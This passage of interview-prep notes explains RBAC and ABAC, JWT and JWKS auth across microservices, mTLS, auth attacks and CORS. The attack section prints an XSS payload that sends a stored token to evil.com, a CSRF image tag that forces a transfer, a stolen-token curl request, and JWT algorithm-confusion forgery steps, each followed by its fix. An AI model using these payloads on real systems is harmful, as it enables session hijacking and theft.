"Managers can approve, but only transactions below 10,000."
--> RBAC cannot express an amount threshold on a role.
"Users can edit their own posts, but not others."
--> RBAC cannot express ownership.
"Support agents can view accounts only during business hours."
--> RBAC has no concept of time.
"Mumbai region managers can approve; Delhi cannot."
--> RBAC cannot express geography on a role.
All four cases need ABAC.
ABAC — Attribute-Based Access Control
Instead of asking "what role does this user have?", ABAC asks: do the attributes of this user, this resource, and
this environment satisfy this policy? Three attribute buckets: subject (user), resource, and environment.
RBAC question:
Does user X have role Y that grants permission Z?
ABAC question:
Does (user.role == "manager")
AND (transaction.amount < 10000)
AND (user.region == transaction.region)
AND (current_time BETWEEN 09:00 AND 18:00)?
Subject attributes:
user.role, user.region, user.clearance_level
Resource attributes:
transaction.amount, document.classification
Environment attributes: current_time, request_ip, day_of_week
RBAC
ABAC
Complexity
Simple. Easy to reason about.
Flexible but complex to manage.
Speed
Fast. Role lookup + join.
Slower. Policy evaluation per request.
Expressiveness
Cannot express context or ownership.
Can express any attribute
combination.
Auditability
Easy to audit who has what role.
Policies can be hard to trace.
Use when
90% of SaaS apps. Standard default.
Finance, healthcare, geo/time rules.
Most production systems use RBAC as the foundation with targeted ABAC-style attribute checks in
business logic for edge cases. You do not build a pure ABAC engine for most apps. RBAC for the 90%
case, specific code checks for the remaining 10%.
Decision Guide — Which Model to Use
Simple file / resource sharing (Google Drive, Linux)?
--> ACL
SaaS app with user roles (admin, editor, viewer)?
--> RBAC
Need ownership checks (edit own posts only)?
--> RBAC + owner_id check in business logic
Complex policies (amount limits, time windows, geography)?
--> RBAC + ABAC attributes (policy engines: OPA, Casbin)
Healthcare / finance / government (fine-grained compliance)?
--> Full ABAC (AWS IAM uses a hybrid RBAC + ABAC model)
Interview Answer — "How Would You Handle Permissions?"
Use RBAC as the foundation: define roles like Admin, Analyst, and Support, assign permissions to
roles and roles to users. Enforce at three layers: API gateway middleware for coarse-grained
enforcement, business logic for context-dependent rules, and row-level filtering at the DB for data
isolation. If the system needs context-aware rules -- amount limits, region restrictions, time
windows -- layer ABAC-style attribute checks on top of the base RBAC model. For fintech specifically,
log every permission check for compliance auditing. When the interviewer pushes with "but what if
managers can only approve under 10,000?", name ABAC and the attributes involved.
Why ACL Breaks at Scale — The Actual Reasoning
The specific numbers (10,000 users x 50,000 files) are illustrative, not estimated. The real argument is about the
shape of growth. ACL storage is O(users x resources) because every user-resource pair that needs an explicit
permission gets its own entry. RBAC collapses this to O(users + resources) by introducing roles as an indirection
layer.
ACL:
RBAC:
total entries = users x resources
(multiplicative -- bad)
total entries = (users x roles) + (roles x permissions)
small
small
(linear -- good)
Concrete: 500 users, 20 roles, 100 permissions, 10,000 documents
ACL: 500 x 10,000
= 5,000,000 entries
RBAC: (500x20) + (20x100) = 10,000 + 2,000 = 12,000 entries
The specific file count does not matter.
Any moderately large system hits the multiplicative wall.
The shape of ACL growth is the problem, not any particular number.
Additional costs of ACL at scale beyond storage: every access check must scan the ACL list for that resource.
Every user deletion requires scanning all resources to remove their entries. Every resource deletion requires
scanning all users. No way to say "all managers can see this" -- you list each manager individually, so role changes
require updating every affected resource's ACL.
One-Paragraph Summary
ACL attaches a permission list directly to each resource — fine for files, breaks at scale because storage grows
O(users x resources) multiplicatively, with no concept of group permissions. RBAC decouples permissions from
users by introducing roles: permissions are assigned to roles, roles to users, shrinking storage to O(users +
resources). The five-table schema (users, roles, permissions, user_roles, role_permissions) is looked up at
runtime. RBAC is enforced at three layers: API gateway (coarse), business logic (contextual), and DB queries
(row-level). Roles can inherit from each other (viewer -> analyst -> manager -> admin). RBAC breaks when rules
need context: amount thresholds, ownership, time windows, geography. ABAC solves this by evaluating policies
against subject, resource, and environment attributes. In practice: RBAC for 90% of cases, targeted ABAC
attribute checks in business logic for edge cases. In interviews: always propose RBAC, proactively mention its
limits, name ABAC when the interviewer pushes with a context-dependent rule.
Topic 4.9 — Auth in Distributed Systems
[ TOPIC QUICK REFERENCE ]
USER → API GATEWAY:
What travels: JWT
Which header: Authorization: Bearer <jwt>
Public key:
Yes (RS256). Gateway uses cached JWKS public key.
Mechanism:
RSA_verify(sig, public_key) -> recovers hash.
SHA256(data) -> recomputes hash. Match = valid. No DB call.
GATEWAY → DOWNSTREAM SERVICE:
What travels: Injected context headers (NOT the JWT)
Which header: X-User-Id: 123 | X-User-Role: admin | X-Tenant-Id:
xyz
Public key:
No. Service just reads headers. Trusts gateway.
Mechanism:
No verification. Network trust (only gateway can reach
services).
SERVICE → SERVICE (Client Credentials):
What travels: Short-lived service JWT
Which header: Authorization: Bearer <service_jwt>
Public key:
Yes (RS256). Receiving service validates via JWKS.
Mechanism:
Same as user JWT but sub = service identity, not user.
SERVICE → SERVICE (mTLS):
What travels: TLS certificate (during handshake, not in HTTP headers)
Which header: None. Auth happens at transport layer before HTTP.
Public key:
Yes, but from internal CA -- not JWKS.
Mechanism:
Both sides present certs. Connection itself = identity
proof.
The Problem
In a monolith, auth is simple: user logs in, session stored in Redis, every request hits the same server, same
Redis. Now you break it into microservices. Every service needs to answer on every request: who is this and are
they allowed to do this?
The naive fix: every service calls a central User Service to validate the token. This works until the Payment Service
gets 50,000 requests per second. Now the User Service gets 50,000 validation calls per second. It becomes the
bottleneck for the entire system. One User Service outage means every other service is blind. You have created a
single point of failure at the worst possible place.
The fix has two parts: push auth to the edge (API Gateway), and make tokens self-validating (JWT + JWKS). But
before the mechanics, two critical distinctions that are easy to confuse: Auth Server vs API Gateway, and whose
public key is used.
Auth Server vs API Gateway — Not the Same Thing
These are two different roles, often confused because in small systems one process plays both.
Auth Server
API Gateway
= the service that ISSUES tokens (handles login)
= the service that VALIDATES tokens (checks every request)
Auth Server responsibilities:
- Receives POST /auth/login with credentials
- Validates username + password
- Creates JWT, signs it with its PRIVATE key
- Returns JWT to the client
- Publishes its PUBLIC key at JWKS endpoint
- Never sees your API calls after login
API Gateway responsibilities:
- Receives every inbound API request
- Fetches public key from auth server's JWKS endpoint (cached)
- Validates JWT signature on every request
- Injects user context into downstream headers
- Routes request to the correct service
- Never issues tokens. Only checks them.
Examples of what plays the Auth Server role:
- Your own login service (POST /auth/login)
- Auth0, Okta, Firebase Auth (third-party)
- accounts.google.com (in OAuth2 flow)
In a small system: same process, two responsibilities.
In mature microservices: completely separate services.
accounts.razorpay.com --> auth server (issues JWTs, owns private key)
gateway.razorpay.com
--> API gateway (validates JWTs on every request)
One-line rule: Auth Server = the one who signs. API Gateway = the one who checks. The auth server
owns the private key and is the only one who ever uses it. The public key is shared freely with the
gateway and all services.
Does POST /auth/login Go Through the Gateway?
Yes — all traffic enters through the API Gateway, including the login request. But the gateway treats the login
route differently. It does not require a JWT on that path because that is the path where a JWT is being obtained
for the first time. The gateway maintains a whitelist of public routes that bypass JWT validation.
All traffic --> API Gateway
Gateway asks: is this route on the public whitelist?
Public routes (no JWT required):
POST /auth/login
--> forward to auth server
POST /auth/signup
--> forward to auth server
POST /auth/forgot-password --> forward to auth server
GET /health
--> forward to health service
All other routes (JWT required):
Validate JWT first --> if valid, inject context, forward
--> if invalid, return 401
The gateway is still the single entry point for everything.
It just has different behaviour per route.
Login goes through the gateway -- the gateway just does not enforce
auth on a path where auth is being established for the first time.
Two Validation Strategies
Strategy A -- Centralised validation (stateful)
Every service calls a central auth server to validate tokens.
Simple. Instant revocation.
Cost: network hop every request. Single point of failure.
Strategy B -- Decentralised validation (stateless JWT)
Every service validates the JWT locally using the auth server's public
key.
No network hop. Scales infinitely.
Cost: cannot revoke instantly. All services need the public key.
Industry standard: Strategy B for the hot path (every API call).
Strategy A only for sensitive operations
(password change, account suspension, fraud flags).
Whose Public Key? How Services Get It (JWKS)
When a service validates a JWT locally, it verifies the signature against the auth server's public key. Not the
gateway's key. Not its own key. The auth server's key — because the auth server is the one that signed the JWT
when the user logged in.
The analogy: the auth server is like a government. It stamps passports with its official seal (private key signs the
JWT). Any border officer (any service) can verify the stamp using the publicly known seal design (public key) —
without calling the government each time.
Auth server has a key pair:
private key --> signs the JWT at login (ONLY auth server holds this)
public key --> published at JWKS endpoint (anyone can read and cache
this)
Any service that needs to validate a JWT asks:
"Was this signed by the auth server's private key?"
Verify by checking signature against the auth server's PUBLIC key.
Signatures match --> auth server issued this. Trust it.
Signatures differ --> forged or tampered. Reject. 401.
# Auth server publishes public key at:
GET https://auth.razorpay.com/.well-known/jwks.json
Response: { "keys": [ { "kty": "RSA", "kid": "key-id-2024-03",
"use": "sig", "n": "...public key modulus...", "e": "AQAB" } ] }
# Who actually needs to fetch JWKS?
#
# ALWAYS:
#
API Gateway -- validates every inbound user JWT.
#
This is the primary and most common consumer of JWKS.
#
# SOMETIMES:
#
Services doing re-validation on sensitive operations (Option C):
#
e.g. Payment Service re-validates JWT before processing a refund.
#
#
Services receiving service-to-service JWTs:
#
e.g. Fraud Service receives a JWT from Payment Service
#
(Client Credentials flow). Gateway is not involved. Fraud Service
#
validates directly using JWKS.
#
# NOT NEEDED:
#
Standard downstream services that only read injected headers
#
(X-User-Id, X-User-Role). They never see the JWT at all.
#
Gateway already validated it. Trust the headers.
#
# In the standard flow:
#
Client --> Gateway (validates JWT via JWKS) --> Service (reads headers)
#
The service never touches JWKS.
#
# When a service does fetch JWKS:
#
Fetch once at startup. Cache it.
#
Read "kid" from JWT header to pick the right key.
#
No call to auth server on each request.
#
Re-fetch only if unknown "kid" arrives (key rotation).
Key Rotation Without Downtime
If you change the signing key instantly, all existing tokens become invalid. Every logged-in user is kicked out. The
fix is an overlap period where both old and new keys are published simultaneously.
Problem: change key instantly --> all valid tokens become unverifiable.
Every logged-in user is immediately logged out. Unacceptable.
Solution: overlap period.
Step 1: Generate new key pair (new_private, new_public)
Step 2: Publish BOTH old_public AND new_public in JWKS response
Step 3: Start signing NEW tokens with new_private
Step 4: OLD tokens (signed with old_private) still validate
because old_public is still in JWKS
Step 5: Wait for all old tokens to expire (max = token TTL = 1 hour)
Step 6: Remove old_public from JWKS
Step 7: Done. Zero users logged out. Zero downtime.
# The "kid" (key ID) claim in the JWT header is what makes this work.
# Each token carries the ID of the key that signed it.
# Services look up the right key by kid -- no need to try all keys.
JWT header example during rotation:
{ "alg": "RS256", "kid": "key-id-2024-03" }
^^^^ service uses this to pick the right public key
JWT Propagation Across Services
The JWT the user sent does not get re-issued at every service hop. It gets validated once at the gateway, then
user context is forwarded as trusted internal headers. Downstream services never re-validate the JWT.
Client --> API Gateway --> Payment Service --> Fraud Service
Client sends:
POST /payments
Authorization: Bearer eyJhbGci...user_jwt...
API Gateway:
1. Validates JWT signature using cached JWKS public key
2. Checks expiry
3. Extracts claims: { userId: 123, role: merchant, tenantId: rzp_456 }
4. Strips JWT from request
5. Injects trusted internal headers:
X-User-Id:
123
X-User-Role: merchant
X-Tenant-Id: rzp_456
6. Forwards to Payment Service
Payment Service:
Reads X-User-Id, X-User-Role from headers
Trusts them because they came from the gateway, not the client
Does NOT re-validate the JWT
Proceeds with userId: 123
Why strip JWT and inject headers?
- Internal services do not need to know JWT format
- Simpler internal logic: just read a header
- Gateway is the single point of JWT validation
- Internal headers are never exposed outside the network
Critical security rule: internal services must ONLY trust X-User-* headers if they arrive from the
gateway. If a client can reach an internal service directly and send X-User-Id: 1 themselves, that is a
catastrophic auth bypass. Internal services must be unreachable from outside the network
perimeter.
Service-to-Service Auth
JWT handles user to service auth. But what about service to service? Payment Service calling Fraud Detection —
no user is involved. How does Fraud Detection know this is a legitimate internal call and not an attacker who
found the internal endpoint?
Pattern A — Shared Secret (avoid at scale)
Payment Service includes a pre-shared secret on every call:
X-Internal-Secret: sup3r_s3cr3t_k3y
Fraud Detection checks: does this match my stored secret?
Problem: secret must be shared across all services.
If one service is compromised, all internal calls are compromised.
Rotation requires redeploying everything simultaneously.
Pattern B — Service JWT via Client Credentials (recommended)
Each service has its own identity. At startup it authenticates with the auth server using OAuth2 Client Credentials
grant and gets a short-lived JWT. This is the same Client Credentials grant from Topic 4.6 applied internally.
# Payment Service authenticates at startup:
POST https://auth.razorpay.com/oauth/token
Body:
grant_type
= client_credentials
client_id
= payment-service
client_secret = payment-service-secret
# Auth server responds:
{
"access_token": "eyJhbGci...service_jwt...",
"expires_in":
300
// 5 minute token
}
# Payment Service calls Fraud Detection:
POST /fraud/check
Authorization: Bearer eyJhbGci...service_jwt...
# Fraud Detection validates JWT:
sub: "payment-service" // this is a service identity, not a user
iss: "internal-auth"
exp: valid
--> allow
# Same JWKS-based local validation. No extra network call per request.
Pattern C — mTLS (Gold Standard)
mTLS (Mutual TLS) authenticates at the transport layer, not the application layer. This is the key distinction from
JWT + JWKS. JWT is a piece of text in an HTTP header -- auth happens after the connection is open, at the
application level. mTLS happens during the TLS handshake itself, before any HTTP data is sent. If certificates do
not match, the connection never opens. There is no token in any header. The connection itself is the proof of
identity.
Normal TLS (standard HTTPS):
Client verifies the server's certificate.
Server does NOT verify the client. Client is anonymous.
mTLS (Mutual TLS):
Client verifies the server's certificate.
Server ALSO verifies the client's certificate.
Both sides cryptographically proven before any HTTP byte is sent.
Why mTLS does NOT need JWKS:
JWT + JWKS: auth at the application layer
"I am presenting a token in a header that proves my identity"
Token = text in Authorization header
Verification = math on that text using a public key from JWKS
mTLS:
auth at the transport layer
"My network connection itself proves my identity"
Certificate = presented during TLS handshake
Verification = cryptographic handshake before any data flows
No token. No header. No JWKS. The connection IS the auth.
mTLS source of trust:
JWT: auth server publishes public key at JWKS
mTLS: internal CA (Certificate Authority) signs all service certificates
services trust certs signed by the internal CA
same role as JWKS but at the network layer
Used by: Google internal service mesh, Netflix, Istio/Envoy.
Cost: certificate management, CA infrastructure, rotation complexity.
=== mTLS: When to Use and When NOT to Use ===
USE mTLS when:
1. Service-to-service in a private network (Kubernetes/Istio)
Every microservice proves its identity at the connection level.
No token in any header. The TLS handshake itself is the auth.
Example: Payment Service calling Fraud Service internally.
Istio/Envoy sidecar proxies handle cert rotation automatically.
2. High-security API access by external partners
Bank APIs, payment gateways requiring mutual cert auth.
E.g. Razorpay connecting to NPCI for UPI settlement.
Both sides present certificates. Misconfigured client = no connection.
DO NOT USE mTLS when:
1. Browser clients
Browsers do not have client certificates installed.
Standard TLS (one-way) is the only option here.
User identity comes from login/JWT, not TLS layer.
2. Mobile apps / third-party developers
Cannot distribute and rotate client certs to millions of devices.
Use API keys or OAuth2 tokens instead.
3. Public APIs
Any developer can call your API.
You cannot pre-issue certs to unknown callers.
Use API keys with rate limiting.
Summary:
mTLS = infrastructure you control on both sides (internal services, known
partners).
JWT/API keys = when you cannot control or pre-register the client.
JWT + JWKS
mTLS
Layer
Application (HTTP header)
Transport (TLS handshake)
Auth happens
After connection opens
Before any data is sent
Identity proof
Token string in header
Certificate in handshake
Trust source
Auth server JWKS endpoint
Internal CA signs certs
Revocation
Token expiry or blocklist
Certificate revocation (CRL/OCSP)
Complexity
Low-medium
High (cert management, CA)
Best for
User auth, most services
High-security internal meshes
API Gateway as the Auth Enforcer
The API Gateway is the single entry point for all traffic — including login. It enforces auth on protected routes
and forwards public routes without checking a token. Everything downstream trusts what the gateway injects.
What the gateway validates on protected routes:
- JWT signature valid? (local check using cached JWKS public key)
- Token expired?
- Scope matches this route? (payments.create for POST /payments)
- Rate limit exceeded for this user or key?
What the gateway does NOT validate:
- Business logic ("can this merchant refund this specific transaction?")
- Row-level permissions ("can this user see this specific order?")
Those stay inside the services.
Gateway = identity and coarse-grained access.
Services = fine-grained business rules.
Token Validation — Edge vs Inside Services
Option
How
Pros
Cons
A: Gateway
only
Validate at gateway, trust
headers inside
Simple. Services stay
clean.
Misconfigured firewall
exposes unprotected
services.
B: Every
service
Each service fetches
JWKS and validates
Defence in depth. Even
exposed services
protected.
Complexity. Every service
needs JWKS access.
C: Gateway +
re-validate
sensitive ops
Standard calls: gateway
only. Refunds, deletions:
re-validate.
Best of both worlds.
Must define what counts as
sensitive.
Industry standard is Option C. Validate at the gateway for speed. Re-validate inside the service for high-risk
operations like refunds, account deletion, or privilege escalation.
The Distributed Auth Stack — Full Picture
EXTERNAL (user-facing):
All requests --> API Gateway (single entry point, including /auth/login)
Public routes (login, signup) --> forwarded directly, no JWT check
Protected routes --> JWT validated using cached JWKS public key
Gateway strips JWT, injects X-User-Id, X-User-Role, X-Tenant-Id
Downstream services trust injected headers, skip JWT re-validation
INTERNAL (service-to-service):
Service JWT via Client Credentials (recommended)
--> short-lived (5 min), validated via same JWKS mechanism
mTLS (gold standard)
--> no token, connection itself is authenticated
Shared secret (avoid)
--> single rotation problem, avoid at scale
KEY MANAGEMENT:
Auth server: owns private key, signs all JWTs
Auth server: publishes public key at /.well-known/jwks.json
Services: cache JWKS on startup, refresh on cache miss
JWT header "kid" claim identifies which key to use per token
Key rotation: overlap period (old + new key both in JWKS)
Wait for old tokens to expire (1 TTL = 1 hour), then remove old key
REVOCATION:
Standard: short expiry (15 min) + refresh token (server-stored)
Critical ops: token blocklist in Redis keyed on "jti" claim
One-Paragraph Summary
In distributed systems, auth has two distinct roles: the Auth Server issues and signs tokens (owns the private key,
publishes the public key at JWKS), and the API Gateway validates tokens on every inbound request using the
cached public key. All traffic including POST /auth/login goes through the gateway, but login is a public route —
the gateway forwards it without requiring a JWT that does not exist yet. On protected routes, the gateway
validates the JWT signature locally using the auth server's public key from JWKS, extracts user context, and
injects it as trusted internal headers (X-User-Id, X-User-Role). Downstream services consume those headers
without re-validating. Service-to-service auth uses OAuth2 Client Credentials (short-lived service JWTs validated
via the same JWKS mechanism) or mTLS, which operates at the transport layer and needs no token at all — the
TLS handshake itself proves identity using certificates signed by an internal CA. Key rotation uses an overlap
period: both old and new public keys are published in JWKS simultaneously, old tokens expire naturally over one
TTL window, then the old key is removed. The kid claim in each JWT header tells services which key to use,
enabling zero-downtime rotation.
Topic 4.10 — Security Attacks on Auth (Compressed)
[ TOPIC QUICK REFERENCE ]
This topic covers ATTACKS on auth, not a new auth mechanism.
The attacks below target the headers and tokens from Topics 4.4 to 4.9.
XSS:
Steals tokens from localStorage via injected JavaScript.
Target: Authorization: Bearer <token> (in JS memory)
Defense: HttpOnly cookies (JS cannot read them).
CSRF:
cookie.
Tricks browser into sending a forged request with valid
Target: Cookie: session=abc (browser sends automatically)
Defense: SameSite=Strict, CSRF tokens, check Origin header.
Token Theft: Stolen JWT used as-is (possession = access in Bearer auth).
Target: Authorization: Bearer <jwt>
Defense: Short expiry, HTTPS only, HttpOnly storage.
JWT alg:none: Attacker strips signature, sets alg=none in header.
Target: The JWT header itself.
Defense: Server whitelists allowed algorithms. Never trusts
alg claim blindly.
Four attacks that directly target the auth mechanisms from topics 4.4 to 4.9. Each one exploits a specific design
decision — and connects back to something already covered.
1. XSS — Cross-Site Scripting
Attacker injects malicious JavaScript into your page. That script runs in the victim's browser with full access to
the page context — including any tokens stored in localStorage.
# Attacker injects into a comment field, search box, or any unescaped
output:
<script>
fetch("https://evil.com?t=" + localStorage.getItem("token"))
</script>
# Victim visits the page.
# Script runs in their browser.
# Token sent to attacker's server.
# Attacker uses token: Authorization: Bearer <stolen_token>
# Attacker has full access until token expires.
Why localStorage is the target:
JS can read it freely. One line. No permission needed.
Fix:
Store tokens in HttpOnly cookies -- JS cannot read them at all.
Sanitise all user input before rendering it back to the page.
Content-Security-Policy (CSP) header to block inline scripts.
2. CSRF — Cross-Site Request Forgery
Attacker tricks your browser into making a request to a site you are already logged into — and your browser
automatically includes your session cookie with that request, even though the request originated from a
different site.
# You are logged into bank.com.
# Your session cookie is stored in the browser.
# You visit evil.com, which contains:
<img src="https://bank.com/transfer?to=attacker&amount=50000">
# Your browser sends that GET request automatically.
# WITH your bank.com session cookie attached.
# Bank sees a valid authenticated session.
# Processes the transfer.
Why cookies are the target:
Browsers attach cookies automatically to every matching-domain request,
regardless of which page triggered the request.
Fix:
SameSite=Strict on cookies -- browser only sends cookie if request
originates from the same site. Kills most CSRF attacks.
CSRF token -- server issues a random token per session, every
state-changing request (POST/PUT/DELETE) must include it.
Attacker on evil.com cannot read or guess this token.
3. Token Theft
Attacker obtains a valid token through any means: XSS, leaked .env file committed to GitHub, server logs that
accidentally record Authorization headers, network interception on HTTP. Since Bearer auth means possession
equals access, the server cannot tell the real user from the attacker.
# Stolen token is immediately usable:
curl https://api.razorpay.com/payments \
-H "Authorization: Bearer <stolen_token>"
# Server validates signature -- valid.
# Server checks expiry -- not expired.
# Server grants full access. No way to distinguish real user from attacker.
Fixes:
Short expiry (15 min) -- limits the damage window even if stolen.
HttpOnly cookie storage -- much harder to steal than localStorage.
Refresh token rotation -- if attacker uses the refresh token,
the real user's next refresh attempt fails.
Server detects double-use and revokes the entire token family.
HTTPS everywhere -- prevents network interception.
Never log Authorization headers -- prevents log-based leakage.
4. JWT Algorithm Confusion (alg: none)
JWT header contains an "alg" field specifying which algorithm signed the token. A poorly written server reads
this field from the token and uses whatever algorithm the token itself claims. Attacker exploits this to bypass
signature verification entirely.
=== Attack variant 1: alg "none" ===
# Attacker takes a valid JWT and modifies the header:
Original: { "alg": "HS256", "typ": "JWT" }
Modified: { "alg": "none", "typ": "JWT" }
# Attacker removes the signature (sets it to empty string).
# Sends the modified token.
# Vulnerable server reads alg: "none" from the header.
# Skips signature verification entirely.
# Accepts the token as valid.
# Attacker can now modify any payload claim freely.
=== Attack variant 2: RS256 to HS256 confusion ===
# Server normally uses RS256 (asymmetric):
#
private key signs, public key verifies.
# Attacker changes header alg from RS256 to HS256 (symmetric):
#
same key both signs and verifies.
# Attacker signs the token using the server's PUBLIC key.
#
(which is... public. Anyone can get it from JWKS.)
# Vulnerable server reads alg: HS256 from token header.
# Verifies using HS256 with the public key.
# Signature matches -- because attacker used the same public key.
# Token accepted. Attacker has forged a valid JWT.
Fix:
Whitelist allowed algorithms SERVER-SIDE. Hard-code it in config.
NEVER read the algorithm from the token header.
The algorithm is a server decision, not a client-supplied parameter.
Use libraries that enforce this (e.g. specify alg at init, not at verify).
The Four Attacks — Quick Reference
Attack
Exploits
Target
Fix
XSS
Injected JS reads storage
localStorage token
HttpOnly cookie + input
sanitisation
CSRF
Browser auto-sends
cookies
Session cookies
SameSite=Strict + CSRF token
Token theft
Possession = access
(Bearer)
Any token
Short expiry + HttpOnly +
rotation
JWT alg confusion
Server trusts token's alg
claim
JWT validation
Whitelist algorithms server-side
How They Connect to What You Already Know
None of these attacks introduce new ground. They are the attack faces of design decisions already covered.
XSS
--> why HttpOnly cookie is safer than localStorage (Topic
4.4)
CSRF
--> why SameSite=Strict exists on cookies (Topic 4.4)
Token theft
--> the Bearer auth risk: possession = access (Topic 4.4)
JWT alg confusion --> the "alg" field in JWT header and why alg: none is
dangerous
(JWT structure covered in Topics 4.4 and 4.5)
In interviews: you will rarely be asked to explain an attack in isolation. More common: "how would
you secure this auth system?" Name the relevant attacks and their fixes in one breath. XSS +
HttpOnly. CSRF + SameSite. Token theft + short expiry + rotation. JWT alg + server-side whitelist.
Topic 4.10b — CORS (Cross-Origin Resource Sharing)
[ TOPIC QUICK REFERENCE ]
What travels: Origin header (browser sets automatically, JS cannot
override)
Direction:
Browser enforced. Not server enforced.
Public key:
No. No JWT. No signature. Pure header negotiation.
Mechanism:
Browser checks server response headers before giving
response to JavaScript. Server decides who to trust.
Protects:
Malicious JS in browser reading authenticated responses.
Does NOT protect: Non-browser clients (curl, Postman, server scripts).
The Story
Your frontend is at dashboard.myapp.com. Your API is at api.myapp.com. You write a fetch() call from your
frontend to your API. The browser blocks it. You are calling your own API from your own frontend and the
browser refuses. Meanwhile you wonder — what stops evil.com from running the same fetch and stealing your
users' data? These two questions are the same question. Understanding why the browser blocks your legitimate
request is understanding why it protects your users from malicious ones.
What "Origin" Means
An origin is: scheme + domain + port. All three must match exactly. A different subdomain is a different origin. A
different port is a different origin.
https://dashboard.myapp.com
<- your frontend
https://api.myapp.com
<- DIFFERENT origin (different subdomain)
http://dashboard.myapp.com
<- DIFFERENT origin (different scheme)
https://dashboard.myapp.com:8080
<- DIFFERENT origin (different port)
https://dashboard.myapp.com/profile <- SAME origin (path does not matter)
The Same-Origin Policy (SOP) — Why It Exists
Browsers enforce SOP by default. A page at evil.com cannot make authenticated requests to bank.com on your
behalf. Here is the attack SOP prevents:
1. You log into bank.com. Browser stores Cookie: session=abc123.
2. You visit evil.com in another tab.
3. evil.com runs: fetch("https://bank.com/transfer?to=hacker&amount=50000")
4. Browser attaches your bank.com session cookie automatically.
5. Bank.com processes the transfer. You lose money.
SOP prevents step 3.
But SOP also prevents dashboard.myapp.com from calling api.myapp.com.
CORS is the controlled way to relax SOP for legitimate cases.
How CORS Works — The Browser Is the Enforcer
The browser adds an Origin header to every cross-origin request. The server responds with CORS headers saying
who it trusts. The browser decides whether to give the response to JavaScript. The server is not the enforcer. The
browser is.
Critical: the response travels from server to browser normally.
The server always responds. The browser receives it.
But the browser WITHHOLDS the response from JavaScript
if CORS headers do not permit the requesting origin.
JavaScript cannot bypass this.
JS runs in a sandbox. It can only access what the browser gives it.
If the browser withholds the response, JS has no other way to get it.
It cannot open raw TCP connections. Cannot read network traffic directly.
Flow when dashboard.myapp.com calls api.myapp.com (legitimate):
Browser sends:
GET /profile HTTP/1.1
Host:
api.myapp.com
Origin: https://dashboard.myapp.com
automatically
Cookie: session=abc123
<- browser sets this
Server checks: is dashboard.myapp.com in allowlist? YES
Server responds:
200 OK
Access-Control-Allow-Origin: https://dashboard.myapp.com
Vary: Origin
Body: { "userId": 123, "name": "Ayush" }
Browser checks: does ACAO (dashboard.myapp.com) match Origin
(dashboard.myapp.com)?
YES -> hands response to JavaScript -> app works.
────────────────────────────────────────────────────────────
Flow when evil.com tries the same:
Browser sends:
GET /profile HTTP/1.1
Host:
api.myapp.com
Origin: https://evil.com
Cookie: session=abc123
<- browser sets this honestly
<- browser auto-attaches
# Can evil.com fake the Origin header?
# NO. Origin is a forbidden header in the browser Fetch spec.
# JavaScript cannot set, modify, or override it.
# Browser always sets it to the actual origin of the page.
Server checks: is evil.com in allowlist? NO
Server responds:
200 OK
(no Access-Control-Allow-Origin header)
Body: { "userId": 123, "name": "Ayush" }
# Server still responds. Still processes the request.
# Server is NOT the enforcer. Browser is.
Browser checks: is ACAO header present?
NO -> browser withholds response from evil.com JavaScript.
evil.com gets nothing. Not the status. Not the body. Nothing.
Security model:
Browser sets Origin honestly.
Server decides who to trust (via allowlist).
Browser enforces that decision.
Why Non-Browser Clients Are Not Protected by CORS
CORS is a browser sandbox policy only. It does not exist outside the browser. A curl request can set any Origin
header it wants. But this does not matter because non-browser clients have no existing session to piggyback.
They must authenticate from scratch. Auth layer handles them.
curl https://api.bank.com/profile
-> 401 Unauthorized. No token. Done.
curl https://api.bank.com/profile -H "Authorization: Bearer stolen_token"
-> Works. But they needed a valid token first.
That is a token theft problem, not a CORS problem.
CORS protects against: malicious JS using the USER's existing browser
session.
The attack only works because the browser auto-attaches cookies.
curl has no cookies, no auto-attachment, no existing session to steal.
Non-browser clients start from zero. Auth layer is their protection.
HTTP Methods — Quick Reference
GET
Read only. No body. No side effects. Safe to repeat.
POST
Create something new. Has body. Not idempotent.
PUT
Replace entirely. Has body. Idempotent.
PATCH
Partial update. Has body. More efficient than PUT for single fields.
DELETE Remove resource. Idempotent.
OPTIONS Ask server what it supports. Used by browser for CORS preflight.
Preflight Requests — Why Only Some Requests Get One
The browser splits requests into simple and non-simple. Simple requests (GET, HEAD, basic POST) existed before
CORS. HTML forms have always been able to submit cross-origin — blocking them would break the existing web.
So browser just sends them and checks headers after.
Non-simple requests (PUT, DELETE, PATCH, custom headers, Authorization, JSON body) are newer and can cause
irreversible server-side actions. For these, blocking the response AFTER the server acts is too late.
Why blocking response is enough for GET:
evil.com triggers GET /account/balance
Server reads data, responds.
Browser blocks evil.com from reading response.
Data never reached evil.com. Damage = zero.
No preflight needed.
Why blocking response is NOT enough for DELETE:
evil.com triggers DELETE /users/42
Server DELETES USER 42.
<- damage happens HERE
Server responds 200.
Browser blocks evil.com from reading response.
Too late. User 42 is gone.
What preflight does for DELETE:
Browser sends OPTIONS /users/42 FIRST:
OPTIONS /users/42 HTTP/1.1
Origin: https://evil.com
Access-Control-Request-Method: DELETE
Server checks: is evil.com in allowlist?
Server responds: 200 OK (or 204)
(no ACAO header at all)
NO
Browser looks for ACAO header: not present.
Browser: preflight failed. STOP.
Actual DELETE is NEVER sent.
Server never receives the DELETE.
User 42 is safe.
# Why does server NOT return ACAO for evil.com?
# Server checks incoming Origin against allowlist.
# evil.com is not in allowlist -> server adds no ACAO header.
# For allowed origin (dashboard.myapp.com):
#
ACAO: https://dashboard.myapp.com would be returned.
# For non-allowed origin (evil.com):
#
No ACAO header. Browser sees absence = denied.
Preflight flips the order:
Without preflight: send request -> server acts -> browser blocks response
With preflight:
check first -> browser blocks -> request never sent
Full preflight flow (legitimate request):
Step 1: Browser sends preflight:
OPTIONS /payments HTTP/1.1
Host:
api.myapp.com
Origin:
https://dashboard.myapp.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization
Step 2: Server checks: is dashboard.myapp.com in allowlist? YES
Server responds:
204 No Content
Access-Control-Allow-Origin:
https://dashboard.myapp.com
Access-Control-Allow-Methods:
GET, POST, PUT, DELETE
Access-Control-Allow-Headers:
Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age:
86400
Vary:
Origin
# ACAO echoes the matched origin (not a static value).
# Allow-Credentials: true because request uses Authorization header.
# Max-Age: 86400 = cache this preflight result for 24 hours.
# Vary: Origin tells CDN to cache per origin separately.
Step 3: Browser: preflight passed. Sends actual request:
POST /payments HTTP/1.1
Host:
api.myapp.com
Origin:
https://dashboard.myapp.com
Authorization: Bearer eyJ...
Content-Type: application/json
<- browser always sends this
Step 4: Server responds with actual data.
# Access-Control-Max-Age: 86400 means browser caches this preflight result.
